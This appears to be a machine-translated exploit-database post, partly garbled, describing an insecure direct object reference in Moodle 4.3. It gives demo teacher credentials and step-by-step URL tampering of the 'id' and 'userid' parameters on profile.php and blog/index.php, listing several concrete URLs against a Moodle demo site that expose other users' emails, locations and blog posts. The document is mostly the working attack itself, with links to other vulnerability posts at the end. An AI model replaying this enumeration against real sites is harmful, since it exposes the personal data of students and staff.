Moodle 4.3-不安全的直接对象参考

[HackApt-37 Team已验证会员]

＃利用标题: MOODLE 4.3'ID'不安全直接对象参考（idor）
＃日期: 20/10/2023
＃利用作者: TMRSWRR
＃供应商homepage3360 https://moodle.org/
＃软件demo: https://school.moodledemo.net/
＃版本: 4.3+
＃在: Linux上测试
脆弱性细节
==============================
步骤:
1。登录给定凭据user:老师pass: moodle登录应用程序
2。在profile.php？id=11中，修改ID参数以查看用户详细信息，
电子邮件地址，国家/地区，城镇，城市，时区
3。将现有的“ ID”值更改为另一个数字

https://school.moodledemo.net/user/profile.php?id=4

https://school.moodledemo.net/user/profile.php?id=5

https://school.moodledemo.net/user/profile.php?id=10

https://school.moodledemo.net/user/profile.php?id=50

https://school.moodledemo.net/blog/index.php?userid=3

https://school.moodledemo.net/blog/index.php?userid=14

No posts | Mount Orange

school.moodledemo.net

Posts made by George Lopez | Mount Orange

school.moodledemo.net

 

H

超级巨星- 多个漏洞

H

动物园管理系统1.0-未经身份验证的RCE